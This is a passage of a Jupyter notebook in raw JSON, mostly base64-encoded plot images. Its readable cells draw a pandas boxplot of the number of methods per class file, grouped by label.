4jtgO8BG5Xt\n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\nYII=\n", + "text": [ + "" + ] + } + ], + "prompt_number": 133 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Here we see the number of methods the class file has." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot(column='methods_count', by='label')\n", + "plt.ylabel('Number of Methods')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 134, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "iVBORw0KGgoAAAANSUhEUgAAA9cAAAE7CAYAAADXbnL5AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3XucJGV56PHfw11YYUCMIEZHIYKCOEdQNOZAczMqSMAY\nNSdeJgqJEYx4Eo+XqLtLFNGorAbURKKDlxhRwyonUVChuYnczIASCUEY9KBcZFllwUWF5/xR1btN\n09PbPdMzVb37+34+nZq36q2qZ8dPeOfp9xaZiSRJkiRJmrvNqg5AkiRJkqRRZ3ItSZIkSdI8mVxL\nkiRJkjRPJteSJEmSJM2TybUkSZIkSfNkci1JkiRJ0jyZXEuSJEmSNE+VJ9cRsXNEnBwRP4iINRFx\nZ0RcGhGv7lJ3z4hYGRGryroXRcTBVcQtSZIkSVJLZGZ1L4/YGvgP4MnAFPAdYDvgj4FnAe/PzLeW\ndXcHrgB+BawAfgEcB+wDvCAzv7XY8UuSJEmSBNUn14cB5wGnZuZftZ3fErge2CkzdyzPnQUcA+yX\nmdeW57YDrgPWZuZeix2/JEmSJElQ/bDw+8rjT9tPZuavgbuANbAuiT4KaLYS67LevcAZwJMj4pmL\nErEkSZIkSR22qPLlmfntiPga8H8iYoZi2Pe2wKuBZwB/XlbdF9gKuKzLYy4vj/sDVy5owJIkSZIk\ndVFpcl06CjgdOKvt3D3AizPzq2X5seXx1i73t87ttjDhSZIkSZLUW6XDwsu51V8CJoEPUMypPha4\nEfh8OScbit5sgPu7PGZtRx1JkiRJkhZV1T3Xfwb8AfC6zPzH1smI+DzwfeAT5SrhrbnZW3d5xjbl\n8b4u1yRJkiRJWnBVJ9eHAQl8sf1kZv4yIv4dOB54AvCT8lK3od+tcw8bMh4R1S2FLkmSJEna6GRm\ndDtfdXK9JRCzxLFF2/F7FEPCf7dLvWeXx6u6vaDKrcYkPdzk5CRTU1NVhyFJUu3ZZkr1E9E1rwaq\n34rrivI42X4yIsYohouvAm7MzDXAOUAjIvZtq7eEYo72DZnpSuGSJEmSpEpU3XN9OvBa4JSIeBrw\nbWAn4DjgMcDxub7r+W3AocB5EXEqxYrixwG7AkcsduCS5mZ8fLzqECRJGgm2mdJoqXqf67si4tnA\nUuAFwMuBXwL/AbwpM1e21f1hRDwXOAV4K8W+11cDz8/M8xc9eElz0mg0qg5BkqSRMDbWqDoESQOo\nuueazPwp8Lo+614PHL2wEUmSJEnVm56uOgJJg6h6zrUkSZIkSSOv8p5rSZsWh4VLkjS7ZrP4AJx5\nZoPWtOtGo/hIqi+Ta0mSJKkmOpPoZcsqCkTSwBwWLmlRNVtfx0uSpJ5mZppVhyBpACbXkiRJUg1N\nTFQdgaRBxPptpDc+EZEb879PkiRJkrR4IoLMjG7X7LmWJEmSJGmeTK4lLSrnXEuS1B/bTGm0mFxL\nkiRJkjRPzrmWJEmSJKkPzrmWJEmSJGkBmVxLWlTOH5MkqT+2mdJoMbmWJEmSJGmenHMtSZIkSVIf\nnHMtSZIkSdICMrmWtKicPyZJUn9sM6XRYnItSZIkSdI8OedakiRJkqQ+OOdakiRJkqQFZHItaVE5\nf0ySpP7YZkqjpdLkOiKWRcSDPT6/6qi/Z0SsjIhVEbEmIi6KiIOril+SJEmSJKh4znVEPA14WpdL\nTwfeDPxrZr6krLs7cAXwK2AF8AvgOGAf4AWZ+a0uz3fOtSRJkiRpKHrNua7lgmYR8Q8UifMRmfm1\n8txZwDHAfpl5bXluO+A6YG1m7tXlOSbXkiRJkqShGKkFzcqE+eXAj4Gvt507Cmi2EmuAzLwXOAN4\nckQ8s4JwJQ3I+WOSJPXHNlMaLbVLr